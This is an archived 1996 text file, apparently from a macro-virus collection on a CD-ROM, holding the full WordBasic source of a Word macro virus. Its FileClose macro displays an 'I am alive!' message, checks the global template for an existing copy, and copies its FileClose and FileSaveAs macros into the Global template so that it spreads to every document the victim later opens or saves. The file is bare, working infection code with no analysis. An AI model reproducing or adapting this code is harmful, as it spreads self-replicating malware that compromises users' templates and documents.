home *** CD-ROM | disk | FTP | other *** search
/ HPAVC / HPAVC CD-ROM.iso / CCTX0297.ZIP / MVUPDAT7.ZIP / POLITEUP.ZIP / FILECLOS.TXT next >
Text File  |  1996-12-26  |  530b  |  23 lines
  1. Macro: FileClose
  2.  
  3. Sub MAIN
  4. On Error Goto trap
  5. MsgBox "I am alive!", "Activization", 16
  6. infected = 0
  7. normal = CountMacros(0)
  8. If normal > 0 Then
  9.         For count = 1 To normal
  10.                 If MacroName$(count, 0, 0) = "FileClose" Then
  11.                         infected = 1
  12.                 End If
  13.         Next count
  14. End If
  15. If infected = 0 Then
  16.         MacroCopy FileName$() + ":FileClose", "Global:FileClose"
  17.         MacroCopy FileName$() + ":FileSaveAs", "Global:FileSaveAs"
  18. End If
  19. trap:
  20. FileClose
  21. End Sub
  22.  
  23.